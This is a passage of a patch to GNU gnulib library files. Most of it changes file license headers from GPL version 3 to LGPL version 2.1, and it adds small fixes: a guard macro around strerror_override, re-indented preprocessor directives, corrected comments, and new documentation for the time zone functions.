LGPLv3+ or the GNU GPLv2+". + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ++ Lesser General Public License and the GNU General Public License ++ for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public ++ License and of the GNU General Public License along with this ++ program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Before including this file, you need to define: + UNIT The element type of the needle and haystack. +--- a/gnulib/lib/str-two-way.h ++++ b/gnulib/lib/str-two-way.h +@@ -3,18 +3,18 @@ + This file is part of the GNU C Library. + Written by Eric Blake <ebb9@byu.net>, 2008. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Before including this file, you need to include <config.h> and + <string.h>, and define: +--- a/gnulib/lib/strcasecmp.c ++++ b/gnulib/lib/strcasecmp.c +@@ -1,18 +1,18 @@ + /* Case-insensitive string comparison function. + Copyright (C) 1998-1999, 2005-2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/strcasestr.c ++++ b/gnulib/lib/strcasestr.c +@@ -2,18 +2,18 @@ + Copyright (C) 2005-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2005. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/strdup.c ++++ b/gnulib/lib/strdup.c +@@ -3,18 +3,18 @@ + + This file is part of the GNU C Library. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _LIBC + # include <config.h> +--- a/gnulib/lib/streq.h ++++ b/gnulib/lib/streq.h +@@ -1,17 +1,17 @@ + /* Optimized string comparison. + Copyright (C) 2001-2002, 2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>. */ +--- a/gnulib/lib/strerror-override.c ++++ b/gnulib/lib/strerror-override.c +@@ -2,17 +2,17 @@ + + Copyright (C) 2010-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2010. */ +@@ -29,6 +29,8 @@ + # endif + #endif + ++#if !GNULIB_defined_strerror_override_macro ++ + /* If ERRNUM maps to an errno value defined by gnulib, return a string + describing the error. Otherwise return NULL. */ + const char * +@@ -37,12 +39,12 @@ strerror_override (int errnum) + /* These error messages are taken from glibc/sysdeps/gnu/errlist.c. */ + switch (errnum) + { +-#if REPLACE_STRERROR_0 ++# if REPLACE_STRERROR_0 + case 0: + return "Success"; +-#endif ++# endif + +-#if GNULIB_defined_ESOCK /* native Windows platforms with older <errno.h> */ ++# if GNULIB_defined_ESOCK /* native Windows platforms with older <errno.h> */ + case EINPROGRESS: + return "Operation now in progress"; + case EALREADY: +@@ -89,8 +91,8 @@ strerror_override (int errnum) + return "No route to host"; + case EWOULDBLOCK: + return "Operation would block"; +-#endif +-#if GNULIB_defined_ESTREAMS /* native Windows platforms with older <errno.h> */ ++# endif ++# if GNULIB_defined_ESTREAMS /* native Windows platforms with older <errno.h> */ + case ETXTBSY: + return "Text file busy"; + case ENODATA: +@@ -103,8 +105,8 @@ strerror_override (int errnum) + return "Timer expired"; + case EOTHER: + return "Other error"; +-#endif +-#if GNULIB_defined_EWINSOCK /* native Windows platforms */ ++# endif ++# if GNULIB_defined_EWINSOCK /* native Windows platforms */ + case ESOCKTNOSUPPORT: + return "Socket type not supported"; + case EPFNOSUPPORT: +@@ -125,7 +127,7 @@ strerror_override (int errnum) + return "Stale NFS file handle"; + case EREMOTE: + return "Object is remote"; +-# if HAVE_WINSOCK2_H ++# if HAVE_WINSOCK2_H + /* WSA_INVALID_HANDLE maps to EBADF */ + /* WSA_NOT_ENOUGH_MEMORY maps to ENOMEM */ + /* WSA_INVALID_PARAMETER maps to EINVAL */ +@@ -213,90 +215,92 @@ strerror_override (int errnum) + case WSANO_DATA: + return "Valid name, no data record of requested type"; + /* WSA_QOS_* omitted */ ++# endif + # endif +-#endif + +-#if GNULIB_defined_ENOMSG ++# if GNULIB_defined_ENOMSG + case ENOMSG: + return "No message of desired type"; +-#endif ++# endif + +-#if GNULIB_defined_EIDRM ++# if GNULIB_defined_EIDRM + case EIDRM: + return "Identifier removed"; +-#endif ++# endif + +-#if GNULIB_defined_ENOLINK ++# if GNULIB_defined_ENOLINK + case ENOLINK: + return "Link has been severed"; +-#endif ++# endif + +-#if GNULIB_defined_EPROTO ++# if GNULIB_defined_EPROTO + case EPROTO: + return "Protocol error"; +-#endif ++# endif + +-#if GNULIB_defined_EMULTIHOP ++# if GNULIB_defined_EMULTIHOP + case EMULTIHOP: + return "Multihop attempted"; +-#endif ++# endif + +-#if GNULIB_defined_EBADMSG ++# if GNULIB_defined_EBADMSG + case EBADMSG: + return "Bad message"; +-#endif ++# endif + +-#if GNULIB_defined_EOVERFLOW ++# if GNULIB_defined_EOVERFLOW + case EOVERFLOW: + return "Value too large for defined data type"; +-#endif ++# endif + +-#if GNULIB_defined_ENOTSUP ++# if GNULIB_defined_ENOTSUP + case ENOTSUP: + return "Not supported"; +-#endif ++# endif + +-#if GNULIB_defined_ENETRESET ++# if GNULIB_defined_ENETRESET + case ENETRESET: + return "Network dropped connection on reset"; +-#endif ++# endif + +-#if GNULIB_defined_ECONNABORTED ++# if GNULIB_defined_ECONNABORTED + case ECONNABORTED: + return "Software caused connection abort"; +-#endif ++# endif + +-#if GNULIB_defined_ESTALE ++# if GNULIB_defined_ESTALE + case ESTALE: + return "Stale NFS file handle"; +-#endif ++# endif + +-#if GNULIB_defined_EDQUOT ++# if GNULIB_defined_EDQUOT + case EDQUOT: + return "Disk quota exceeded"; +-#endif ++# endif + +-#if GNULIB_defined_ECANCELED ++# if GNULIB_defined_ECANCELED + case ECANCELED: + return "Operation canceled"; +-#endif ++# endif + +-#if GNULIB_defined_EOWNERDEAD ++# if GNULIB_defined_EOWNERDEAD + case EOWNERDEAD: + return "Owner died"; +-#endif ++# endif + +-#if GNULIB_defined_ENOTRECOVERABLE ++# if GNULIB_defined_ENOTRECOVERABLE + case ENOTRECOVERABLE: + return "State not recoverable"; +-#endif ++# endif + +-#if GNULIB_defined_EILSEQ ++# if GNULIB_defined_EILSEQ + case EILSEQ: + return "Invalid or incomplete multibyte or wide character"; +-#endif ++# endif + + default: + return NULL; + } + } ++ ++#endif +--- a/gnulib/lib/strerror-override.h ++++ b/gnulib/lib/strerror-override.h +@@ -2,17 +2,17 @@ + + Copyright (C) 2010-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _GL_STRERROR_OVERRIDE_H +@@ -51,6 +51,7 @@ + extern const char *strerror_override (int errnum) _GL_ATTRIBUTE_CONST; + # else + # define strerror_override(ignored) NULL ++# define GNULIB_defined_strerror_override_macro 1 + # endif + + #endif /* _GL_STRERROR_OVERRIDE_H */ +--- a/gnulib/lib/strerror.c ++++ b/gnulib/lib/strerror.c +@@ -2,17 +2,17 @@ + + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/string.in.h ++++ b/gnulib/lib/string.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 1995-1996, 2001-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if __GNUC__ >= 3 + @PRAGMA_SYSTEM_HEADER@ +@@ -446,7 +446,7 @@ _GL_WARN_ON_USE (strdup, "strdup is unpo + #elif @GNULIB_MDA_STRDUP@ + /* On native Windows, map 'creat' to '_creat', so that -loldnames is not + required. In C++ with GNULIB_NAMESPACE, avoid differences between +- platforms by defining GNULIB_NAMESPACE::creat always. */ ++ platforms by defining GNULIB_NAMESPACE::strdup always. */ + # if defined _WIN32 && !defined __CYGWIN__ + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # undef strdup +--- a/gnulib/lib/strings.in.h ++++ b/gnulib/lib/strings.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _@GUARD_PREFIX@_STRINGS_H + +--- a/gnulib/lib/strncasecmp.c ++++ b/gnulib/lib/strncasecmp.c +@@ -1,18 +1,18 @@ + /* strncasecmp.c -- case insensitive string comparator + Copyright (C) 1998-1999, 2005-2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/strndup.c ++++ b/gnulib/lib/strndup.c +@@ -3,18 +3,18 @@ + Copyright (C) 1996-1998, 2001-2003, 2005-2007, 2009-2021 Free Software + Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published by the +- Free Software Foundation; either version 3, or (at your option) any +- later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/strnlen.c ++++ b/gnulib/lib/strnlen.c +@@ -2,18 +2,18 @@ + Copyright (C) 2005-2007, 2009-2021 Free Software Foundation, Inc. + Written by Simon Josefsson. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/strnlen1.c ++++ b/gnulib/lib/strnlen1.c +@@ -1,17 +1,17 @@ + /* Find the length of STRING + 1, but scan at most MAXLEN bytes. + Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/strnlen1.h ++++ b/gnulib/lib/strnlen1.h +@@ -1,17 +1,17 @@ + /* Find the length of STRING + 1, but scan at most MAXLEN bytes. + Copyright (C) 2005, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _STRNLEN1_H +--- a/gnulib/lib/strstr.c ++++ b/gnulib/lib/strstr.c +@@ -2,18 +2,18 @@ + Foundation, Inc. + This file is part of the GNU C Library. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* This particular implementation was written by Eric Blake, 2008. */ + +--- a/gnulib/lib/sys_stat.in.h ++++ b/gnulib/lib/sys_stat.in.h +@@ -1,18 +1,18 @@ + /* Provide a more complete sys/stat.h header file. + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Eric Blake, Paul Eggert, and Jim Meyering. */ + +--- a/gnulib/lib/sys_types.in.h ++++ b/gnulib/lib/sys_types.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2011-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if __GNUC__ >= 3 + @PRAGMA_SYSTEM_HEADER@ +--- a/gnulib/lib/time.in.h ++++ b/gnulib/lib/time.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if __GNUC__ >= 3 + @PRAGMA_SYSTEM_HEADER@ +@@ -340,22 +340,60 @@ _GL_CXXALIASWARN (strftime); + # endif + + # if defined _GNU_SOURCE && @GNULIB_TIME_RZ@ && ! @HAVE_TIMEZONE_T@ ++/* Functions that use a first-class time zone data type, instead of ++ relying on an implicit global time zone. ++ Inspired by NetBSD. */ ++ ++/* Represents a time zone. ++ (timezone_t) NULL stands for UTC. */ + typedef struct tm_zone *timezone_t; ++ ++/* tzalloc (name) ++ Returns a time zone object for the given time zone NAME. This object ++ represents the time zone that other functions would use it the TZ ++ environment variable was set to NAME. ++ If NAME is NULL, the result represents the time zone that other functions ++ would use it the TZ environment variable was unset. ++ May return NULL if NAME is invalid (this is platform dependent) or ++ upon memory allocation failure. */ + _GL_FUNCDECL_SYS (tzalloc, timezone_t, (char const *__name)); + _GL_CXXALIAS_SYS (tzalloc, timezone_t, (char const *__name)); ++ ++/* tzfree (tz) ++ Frees a time zone object. ++ The argument must have been returned by tzalloc(). */ + _GL_FUNCDECL_SYS (tzfree, void, (timezone_t __tz)); + _GL_CXXALIAS_SYS (tzfree, void, (timezone_t __tz)); ++ ++/* localtime_rz (tz, &t, &result) ++ Converts an absolute time T to a broken-down time RESULT, assuming the ++ time zone TZ. ++ This function is like 'localtime_r', but relies on the argument TZ instead ++ of an implicit global time zone. */ + _GL_FUNCDECL_SYS (localtime_rz, struct tm *, + (timezone_t __tz, time_t const *restrict __timer, + struct tm *restrict __result) _GL_ARG_NONNULL ((2, 3))); + _GL_CXXALIAS_SYS (localtime_rz, struct tm *, + (timezone_t __tz, time_t const *restrict __timer, + struct tm *restrict __result)); ++ ++/* mktime_z (tz, &tm) ++ Normalizes the broken-down time TM and converts it to an absolute time, ++ assuming the time zone TZ. Returns the absolute time. ++ This function is like 'mktime', but relies on the argument TZ instead ++ of an implicit global time zone. */ + _GL_FUNCDECL_SYS (mktime_z, time_t, +- (timezone_t __tz, struct tm *restrict __result) ++ (timezone_t __tz, struct tm *restrict __tm) + _GL_ARG_NONNULL ((2))); + _GL_CXXALIAS_SYS (mktime_z, time_t, +- (timezone_t __tz, struct tm *restrict __result)); ++ (timezone_t __tz, struct tm *restrict __tm)); ++ ++/* Time zone abbreviation strings (returned by 'localtime_rz' or 'mktime_z' ++ in the 'tm_zone' member of 'struct tm') are valid as long as ++ - the 'struct tm' argument is not destroyed or overwritten, ++ and ++ - the 'timezone_t' argument is not freed through tzfree(). */ ++ + # endif + + /* Convert TM to a time_t value, assuming UTC. */ +--- a/gnulib/lib/unistd.c ++++ b/gnulib/lib/unistd.c +@@ -1,4 +1,22 @@ ++/* Inline functions for <unistd.h>. ++ ++ Copyright (C) 2012-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ + #include <config.h> ++ + #define _GL_UNISTD_INLINE _GL_EXTERN_INLINE + #include "unistd.h" + typedef int dummy; +--- a/gnulib/lib/unistd.in.h ++++ b/gnulib/lib/unistd.in.h +@@ -1,18 +1,18 @@ + /* Substitute for and wrapper around <unistd.h>. + Copyright (C) 2003-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _@GUARD_PREFIX@_UNISTD_H + +@@ -1521,6 +1521,7 @@ _GL_WARN_ON_USE (group_member, "group_me + # undef isatty + # define isatty rpl_isatty + # endif ++# define GNULIB_defined_isatty 1 + _GL_FUNCDECL_RPL (isatty, int, (int fd)); + _GL_CXXALIAS_RPL (isatty, int, (int fd)); + # elif defined _WIN32 && !defined __CYGWIN__ +@@ -2027,15 +2028,23 @@ _GL_WARN_ON_USE (sleep, "sleep is unport + #if @GNULIB_MDA_SWAB@ + /* On native Windows, map 'swab' to '_swab', so that -loldnames is not + required. In C++ with GNULIB_NAMESPACE, avoid differences between +- platforms by defining GNULIB_NAMESPACE::creat always. */ ++ platforms by defining GNULIB_NAMESPACE::swab always. */ + # if defined _WIN32 && !defined __CYGWIN__ + # if !(defined __cplusplus && defined 